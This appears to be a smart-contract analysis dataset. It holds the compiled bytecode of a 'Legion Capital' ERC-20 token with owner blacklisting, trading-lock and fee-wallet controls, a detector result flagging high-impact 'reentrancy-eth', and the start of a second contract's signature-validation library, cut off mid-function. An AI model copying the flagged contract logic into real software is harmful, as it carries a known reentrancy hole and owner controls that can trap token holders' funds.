0x6080604052600436106101d05760003560e01c806374010ece116100f7578063a2a957bb11610095578063c3c8cd8011610064578063c3c8cd801461066e578063dd62ed3e14610685578063ea1644d5146106c2578063f2fde38b146106eb576101d7565b8063a2a957bb1461058e578063a9059cbb146105b7578063bdd795ef146105f4578063bfd7928414610631576101d7565b80638f70ccf7116100d15780638f70ccf7146104e65780638f9a55c01461050f57806395d89b411461053a57806398a5c31514610565576101d7565b806374010ece146104675780637d1db4a5146104905780638da5cb5b146104bb576101d7565b80632fd689e31161016f5780636d8aa8f81161013e5780636d8aa8f8146103d35780636fc3eaec146103fc57806370a0823114610413578063715018a614610450576101d7565b80632fd689e314610329578063313ce5671461035457806349bd5a5e1461037f5780636b999053146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632f9c456914610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190612e4c565b610714565b005b34801561021157600080fd5b5061021a61083e565b60405161022791906132cc565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612e0c565b61087b565b6040516102649190613296565b60405180910390f35b34801561027957600080fd5b50610282610899565b60405161028f91906132b1565b60405180910390f35b3480156102a457600080fd5b506102ad6108bf565b6040516102ba91906134ce565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612d79565b6108cf565b6040516102f79190613296565b60405180910390f35b34801561030c57600080fd5b5061032760048036038101906103229190612dcc565b6109a8565b005b34801561033557600080fd5b5061033e610b2b565b60405161034b91906134ce565b60405180910390f35b34801561036057600080fd5b50610369610b31565b6040516103769190613543565b60405180910390f35b34801561038b57600080fd5b50610394610b3a565b6040516103a1919061327b565b60405180910390f35b3480156103b657600080fd5b506103d160048036038101906103cc9190612cdf565b610b60565b005b3480156103df57600080fd5b506103fa60048036038101906103f59190612e95565b610c50565b005b34801561040857600080fd5b50610411610d01565b005b34801561041f57600080fd5b5061043a60048036038101906104359190612cdf565b610dd2565b60405161044791906134ce565b60405180910390f35b34801561045c57600080fd5b50610465610e23565b005b34801561047357600080fd5b5061048e60048036038101906104899190612ec2565b610f76565b005b34801561049c57600080fd5b506104a5611015565b6040516104b291906134ce565b60405180910390f35b3480156104c757600080fd5b506104d061101b565b6040516104dd919061327b565b60405180910390f35b3480156104f257600080fd5b5061050d60048036038101906105089190612e95565b611044565b005b34801561051b57600080fd5b506105246110f6565b60405161053191906134ce565b60405180910390f35b34801561054657600080fd5b5061054f6110fc565b60405161055c91906132cc565b60405180910390f35b34801561057157600080fd5b5061058c60048036038101906105879190612ec2565b611139565b005b34801561059a57600080fd5b506105b560048036038101906105b09190612eef565b6111d8565b005b3480156105c357600080fd5b506105de60048036038101906105d99190612e0c565b61128f565b6040516105eb9190613296565b60405180910390f35b34801561060057600080fd5b5061061b60048036038101906106169190612cdf565b6112ad565b6040516106289190613296565b60405180910390f35b34801561063d57600080fd5b5061065860048036038101906106539190612cdf565b6112cd565b6040516106659190613296565b60405180910390f35b34801561067a57600080fd5b506106836112ed565b005b34801561069157600080fd5b506106ac60048036038101906106a79190612d39565b6113c6565b6040516106b991906134ce565b60405180910390f35b3480156106ce57600080fd5b506106e960048036038101906106e49190612ec2565b61144d565b005b3480156106f757600080fd5b50610712600480360381019061070d9190612cdf565b6114ec565b005b61071c6116ae565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a09061342e565b60405180910390fd5b60005b815181101561083a576001601060008484815181106107ce576107cd6138c1565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806108329061381a565b9150506107ac565b5050565b60606040518060400160405280600e81526020017f4c6567696f6e204361706974616c000000000000000000000000000000000000815250905090565b600061088f6108886116ae565b84846116b6565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000678ac7230489e80000905090565b60006108dc848484611881565b61099d846108e86116ae565b61099885604051806060016040528060288152602001613d9360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061094e6116ae565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120719092919063ffffffff16565b6116b6565b600190509392505050565b6109b06116ae565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a349061342e565b60405180910390fd5b801515601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610ad0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac7906133ee565b60405180910390fd5b80601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610b686116ae565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bf5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bec9061342e565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610c586116ae565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ce5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cdc9061342e565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d426116ae565b73ffffffffffffffffffffffffffffffffffffffff161480610db85750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610da06116ae565b73ffffffffffffffffffffffffffffffffffffffff16145b610dc157600080fd5b6000479050610dcf816120d5565b50565b6000610e1c600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121d0565b9050919050565b610e2b6116ae565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eaf9061342e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610f7e6116ae565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461100b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110029061342e565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61104c6116ae565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d09061342e565b60405180910390fd5b80601660146101000a81548160ff02191690831515021790555050565b60185481565b60606040518060400160405280600681526020017f4c4547494f4e0000000000000000000000000000000000000000000000000000815250905090565b6111416116ae565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c59061342e565b60405180910390fd5b8060198190555050565b6111e06116ae565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461126d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112649061342e565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b60006112a361129c6116ae565b8484611881565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b60106020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661132e6116ae565b73ffffffffffffffffffffffffffffffffffffffff1614806113a45750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661138c6116ae565b73ffffffffffffffffffffffffffffffffffffffff16145b6113ad57600080fd5b60006113b830610dd2565b90506113c38161223e565b50565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6114556116ae565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d99061342e565b60405180910390fd5b8060188190555050565b6114f46116ae565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611581576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115789061342e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156115f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e89061336e565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611726576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171d906134ae565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611796576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178d9061338e565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161187491906134ce565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e89061346e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611961576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611958906132ee565b60405180910390fd5b600081116119a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199b9061344e565b60405180910390fd5b6119ac61101b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611a1a57506119ea61101b565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611d7057601660149054906101000a900460ff16611ac057601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611abf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ab69061330e565b60405180910390fd5b5b601754811115611b05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611afc9061334e565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611ba95750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611be8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bdf906133ae565b60405180910390fd5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c955760185481611c4a84610dd2565b611c549190613604565b10611c94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c8b9061348e565b60405180910390fd5b5b6000611ca030610dd2565b9050600060195482101590506017548210611cbb5760175491505b808015611cd55750601660159054906101000a900460ff16155b8015611d2f5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611d45575060168054906101000a900460ff165b15611d6d57611d538261223e565b60004790506000811115611d6b57611d6a476120d5565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611eca5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611ec95750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611ed8576000905061205f565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611f835750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611f9b57600854600c81905550600954600d819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120465750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561205e57600a54600c81905550600b54600d819055505b5b61206b848484846124c6565b50505050565b60008383111582906120b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120b091906132cc565b60405180910390fd5b50600083856120c891906136e5565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6121256002846124f390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612150573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6121a16002846124f390919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156121cc573d6000803e3d6000fd5b5050565b6000600654821115612217576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161220e9061332e565b60405180910390fd5b600061222161253d565b905061223681846124f390919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612276576122756138f0565b5b6040519080825280602002602001820160405280156122a45781602001602082028036833780820191505090505b50905030816000815181106122bc576122bb6138c1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561235e57600080fd5b505afa158015612372573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123969190612d0c565b816001815181106123aa576123a96138c1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061241130601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846116b6565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016124759594939291906134e9565b600060405180830381600087803b15801561248f57600080fd5b505af11580156124a3573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b806124d4576124d3612568565b5b6124df8484846125ab565b806124ed576124ec612776565b5b50505050565b600061253583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061278a565b905092915050565b600080600061254a6127ed565b9150915061256181836124f390919063ffffffff16565b9250505090565b6000600c5414801561257c57506000600d54145b15612586576125a9565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b6000806000806000806125bd8761284c565b95509550955095509550955061261b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128b490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128fe90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126fc8161295c565b6127068483612a19565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161276391906134ce565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080831182906127d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127c891906132cc565b60405180910390fd5b50600083856127e0919061365a565b9050809150509392505050565b600080600060065490506000678ac7230489e800009050612821678ac7230489e800006006546124f390919063ffffffff16565b82101561283f57600654678ac7230489e80000935093505050612848565b81819350935050505b9091565b60008060008060008060008060006128698a600c54600d54612a53565b925092509250600061287961253d565b9050600080600061288c8e878787612ae9565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006128f683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612071565b905092915050565b600080828461290d9190613604565b905083811015612952576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612949906133ce565b60405180910390fd5b8091505092915050565b600061296661253d565b9050600061297d8284612b7290919063ffffffff16565b90506129d181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128fe90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612a2e826006546128b490919063ffffffff16565b600681905550612a49816007546128fe90919063ffffffff16565b6007819055505050565b600080600080612a7f6064612a71888a612b7290919063ffffffff16565b6124f390919063ffffffff16565b90506000612aa96064612a9b888b612b7290919063ffffffff16565b6124f390919063ffffffff16565b90506000612ad282612ac4858c6128b490919063ffffffff16565b6128b490919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612b028589612b7290919063ffffffff16565b90506000612b198689612b7290919063ffffffff16565b90506000612b308789612b7290919063ffffffff16565b90506000612b5982612b4b85876128b490919063ffffffff16565b6128b490919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612b855760009050612be7565b60008284612b93919061368b565b9050828482612ba2919061365a565b14612be2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bd99061340e565b60405180910390fd5b809150505b92915050565b6000612c00612bfb84613583565b61355e565b90508083825260208201905082856020860282011115612c2357612c22613924565b5b60005b85811015612c535781612c398882612c5d565b845260208401935060208301925050600181019050612c26565b5050509392505050565b600081359050612c6c81613d4d565b92915050565b600081519050612c8181613d4d565b92915050565b600082601f830112612c9c57612c9b61391f565b5b8135612cac848260208601612bed565b91505092915050565b600081359050612cc481613d64565b92915050565b600081359050612cd981613d7b565b92915050565b600060208284031215612cf557612cf461392e565b5b6000612d0384828501612c5d565b91505092915050565b600060208284031215612d2257612d2161392e565b5b6000612d3084828501612c72565b91505092915050565b60008060408385031215612d5057612d4f61392e565b5b6000612d5e85828601612c5d565b9250506020612d6f85828601612c5d565b9150509250929050565b600080600060608486031215612d9257612d9161392e565b5b6000612da086828701612c5d565b9350506020612db186828701612c5d565b9250506040612dc286828701612cca565b9150509250925092565b60008060408385031215612de357612de261392e565b5b6000612df185828601612c5d565b9250506020612e0285828601612cb5565b9150509250929050565b60008060408385031215612e2357612e2261392e565b5b6000612e3185828601612c5d565b9250506020612e4285828601612cca565b9150509250929050565b600060208284031215612e6257612e6161392e565b5b600082013567ffffffffffffffff811115612e8057612e7f613929565b5b612e8c84828501612c87565b91505092915050565b600060208284031215612eab57612eaa61392e565b5b6000612eb984828501612cb5565b91505092915050565b600060208284031215612ed857612ed761392e565b5b6000612ee684828501612cca565b91505092915050565b60008060008060808587031215612f0957612f0861392e565b5b6000612f1787828801612cca565b9450506020612f2887828801612cca565b9350506040612f3987828801612cca565b9250506060612f4a87828801612cca565b91505092959194509250565b6000612f628383612f6e565b60208301905092915050565b612f7781613719565b82525050565b612f8681613719565b82525050565b6000612f97826135bf565b612fa181856135e2565b9350612fac836135af565b8060005b83811015612fdd578151612fc48882612f56565b9750612fcf836135d5565b925050600181019050612fb0565b5085935050505092915050565b612ff38161372b565b82525050565b6130028161376e565b82525050565b61301181613780565b82525050565b6000613022826135ca565b61302c81856135f3565b935061303c8185602086016137b6565b61304581613933565b840191505092915050565b600061305d6023836135f3565b915061306882613944565b604082019050919050565b6000613080603f836135f3565b915061308b82613993565b604082019050919050565b60006130a3602a836135f3565b91506130ae826139e2565b604082019050919050565b60006130c6601c836135f3565b91506130d182613a31565b602082019050919050565b60006130e96026836135f3565b91506130f482613a5a565b604082019050919050565b600061310c6022836135f3565b915061311782613aa9565b604082019050919050565b600061312f6023836135f3565b915061313a82613af8565b604082019050919050565b6000613152601b836135f3565b915061315d82613b47565b602082019050919050565b60006131756017836135f3565b915061318082613b70565b602082019050919050565b60006131986021836135f3565b91506131a382613b99565b604082019050919050565b60006131bb6020836135f3565b91506131c682613be8565b602082019050919050565b60006131de6029836135f3565b91506131e982613c11565b604082019050919050565b60006132016025836135f3565b915061320c82613c60565b604082019050919050565b60006132246023836135f3565b915061322f82613caf565b604082019050919050565b60006132476024836135f3565b915061325282613cfe565b604082019050919050565b61326681613757565b82525050565b61327581613761565b82525050565b60006020820190506132906000830184612f7d565b92915050565b60006020820190506132ab6000830184612fea565b92915050565b60006020820190506132c66000830184612ff9565b92915050565b600060208201905081810360008301526132e68184613017565b905092915050565b6000602082019050818103600083015261330781613050565b9050919050565b6000602082019050818103600083015261332781613073565b9050919050565b6000602082019050818103600083015261334781613096565b9050919050565b60006020820190508181036000830152613367816130b9565b9050919050565b60006020820190508181036000830152613387816130dc565b9050919050565b600060208201905081810360008301526133a7816130ff565b9050919050565b600060208201905081810360008301526133c781613122565b9050919050565b600060208201905081810360008301526133e781613145565b9050919050565b6000602082019050818103600083015261340781613168565b9050919050565b600060208201905081810360008301526134278161318b565b9050919050565b60006020820190508181036000830152613447816131ae565b9050919050565b60006020820190508181036000830152613467816131d1565b9050919050565b60006020820190508181036000830152613487816131f4565b9050919050565b600060208201905081810360008301526134a781613217565b9050919050565b600060208201905081810360008301526134c78161323a565b9050919050565b60006020820190506134e3600083018461325d565b92915050565b600060a0820190506134fe600083018861325d565b61350b6020830187613008565b818103604083015261351d8186612f8c565b905061352c6060830185612f7d565b613539608083018461325d565b9695505050505050565b6000602082019050613558600083018461326c565b92915050565b6000613568613579565b905061357482826137e9565b919050565b6000604051905090565b600067ffffffffffffffff82111561359e5761359d6138f0565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061360f82613757565b915061361a83613757565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561364f5761364e613863565b5b828201905092915050565b600061366582613757565b915061367083613757565b9250826136805761367f613892565b5b828204905092915050565b600061369682613757565b91506136a183613757565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156136da576136d9613863565b5b828202905092915050565b60006136f082613757565b91506136fb83613757565b92508282101561370e5761370d613863565b5b828203905092915050565b600061372482613737565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061377982613792565b9050919050565b600061378b82613757565b9050919050565b600061379d826137a4565b9050919050565b60006137af82613737565b9050919050565b60005b838110156137d45780820151818401526020810190506137b9565b838111156137e3576000848401525b50505050565b6137f282613933565b810181811067ffffffffffffffff82111715613811576138106138f0565b5b80604052505050565b600061382582613757565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561385857613857613863565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f544f4b454e3a20416c726561647920656e61626c65642e000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613d5681613719565b8114613d6157600080fd5b50565b613d6d8161372b565b8114613d7857600080fd5b50565b613d8481613757565b8114613d8f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220277f4d60db8d51a0cc743fc0112071c2e70ee2fa82d015373d5a6fcd439f46a164736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
7,197
0x2a2b85eb1054d6f0c6c2e37da05ed3e5fea684ef
/** *Submitted for verification at Etherscan.io on 2021-11-14 */ pragma solidity 0.8.7; // @TODO: Formatting library LibBytes { // @TODO: see if we can just set .length = function trimToSize(bytes memory b, uint newLen) internal pure { require(b.length > newLen, "BytesLib: only shrinking"); assembly { mstore(b, newLen) } } /***********************************| | Read Bytes Functions | |__________________________________*/ /** * @dev Reads a bytes32 value from a position in a byte array. * @param b Byte array containing a bytes32 value. * @param index Index in byte array of bytes32 value. * @return result bytes32 value from byte array. */ function readBytes32( bytes memory b, uint256 index ) internal pure returns (bytes32 result) { // Arrays are prefixed by a 256 bit length parameter index += 32; require(b.length >= index, "BytesLib: length"); // Read the bytes32 from array memory assembly { result := mload(add(b, index)) } return result; } } interface IERC1271Wallet { function isValidSignature(bytes32 hash, bytes calldata signature) external view returns (bytes4 magicValue); } library SignatureValidator { using LibBytes for bytes; enum SignatureMode { EIP712, EthSign, SmartWallet, Spoof } // bytes4(keccak256("isValidSignature(bytes32,bytes)")) bytes4 constant internal ERC1271_MAGICVALUE_BYTES32 = 0x1626ba7e; function recoverAddr(bytes32 hash, bytes memory sig) internal view returns (address) { return recoverAddrImpl(hash, sig, false); } function recoverAddrImpl(bytes32 hash, bytes memory sig, bool allowSpoofing) internal view returns (address) { require(sig.length >= 1, "SV_SIGLEN"); 